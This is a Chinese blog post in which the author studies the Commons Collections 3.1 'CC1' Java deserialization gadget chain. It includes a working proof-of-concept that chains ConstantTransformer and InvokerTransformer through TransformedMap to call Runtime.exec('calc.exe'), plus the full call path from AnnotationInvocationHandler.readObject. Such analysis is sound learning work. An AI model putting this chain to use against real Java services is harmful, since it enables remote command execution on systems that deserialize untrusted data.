javaweb--cc1分析(1)

InvokerTransformerCC1链的漏洞点位于commons-collections-3.1.jar\org\apache\commons\collections\functors\InvokerTransformer.class中反射加载参数可控

 

 

 可以发现触发点在调用了InvokerTransformer类的Transformer方法(也就是反射命令执行点)

我们先了解一下这些类

TransformedMap
InvokerTransformer
ConstantTransformer
ChainedTransformer

TransformedMap

我们看代码这里调用的是decorate方法

debug代码

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class TransformedMap_class {
    public static void main(String[] args) throws Exception{
        Map innerMap = new HashMap();
        innerMap.put("N0lan", "value");
        Map outerMap = TransformedMap.decorate(innerMap, new Hello(), new Hello1());
        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
        onlyElement.setValue("foobar");
    }
}
class Hello implements Transformer {
    @Override
    public Object transform(Object input) {
        System.out.println(input.toString());
        return "Hello";
    }
}


class Hello1 implements Transformer {
    @Override
    public Object transform(Object input) {
        System.out.println(input.toString());
        return "Hello1";
    }
}

  可以发现这个函数就是完成实列化的过程,并且调用对象的trasform方法

 

 

 InvokerTransformer

此类里面的transform类在input不为空的时候会触发反射加载从而导致命令执行

 

 

 ConstantTransformer

返回值为当前参数的对象

 

 

 ChainedTransformer

 ChainedTransformer类的transform方法把传入的对象依次执行tranform方法后返回

这里会返回在之后调用InvokerTransformer.transform(Runtime)

 

 

TransformedMap利用链

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class ccONE {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };

        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);

        //创建Map并绑定transformerChain
        Map innerMap = new HashMap();
        innerMap.put(null, null);
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        //触发漏洞
        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
        onlyElement.setValue(null);

    }}

  调试发现是这样调用到InvokerTransformer的transform方法的

transform:124, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
checkSetValue:169, TransformedMap (org.apache.commons.collections.map)
setValue:191, AbstractInputCheckedMapDecorator$MapEntry (org.apache.commons.collections.map)
main:27, ccONE

反序列化


 这里 要用到AnnotationInvocationHandler.readObject()函数 不然 得化这个点就会很鸡肋 ,的反序列化在转换成Map(Entry)然后调用.setValue()才能触发exp,很难找这样的点

但是AnnotationInvocationHandler 恰好满足了这点 这里由于是萌新所以一步一步分析

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject(); 
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();//迭代

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();//转换为Entry
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

 

 

 

 至于为什么map key必须绑定为value

https://xz.aliyun.com/t/7031#toc-9

因此完整的调用过程链是

ObjectInputStream.readObject()
	ObjectInputStream.readObject0()
		ObjectInputStream.readOrdinaryObject()
			ObjectInputStream.readSerialData()
				ObjectStreamClass.invokeReadObject()
					Method.invoke()
				DelegatingMethodAccessorImpl.invoke()
							NativeMethodAccessorImpl.invoke()
								NativeMethodAccessorImpl.invoke0()
									AnnotationInvocationHandler.readObject()
										MapEntry.setValue()
                    TransformedMap.checkSetValue()
                            ChainedTransformer.transform()
                                ConstantTransformer.transform()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Class.getMethod()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.getRuntime()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.exec()

 参考

https://www.cnblogs.com/nice0e3/p/13860621.html
https://mochazz.github.io/page/2/
https://blog.0kami.cn/archives/
https://www.anquanke.com/post/id/195865
https://www.cnblogs.com/kuaile1314/p/14239718.html
https://xz.aliyun.com/t/4711#toc-3
https://xz.aliyun.com/t/7031#toc-9

  

 

:学习java cc1就这么难 后面还咋学呀,学一点算一点吧 少就是多 满慢就是快

 

posted @ 2021-06-27 16:29  yourse1f  阅读(392)  评论(0编辑  收藏  举报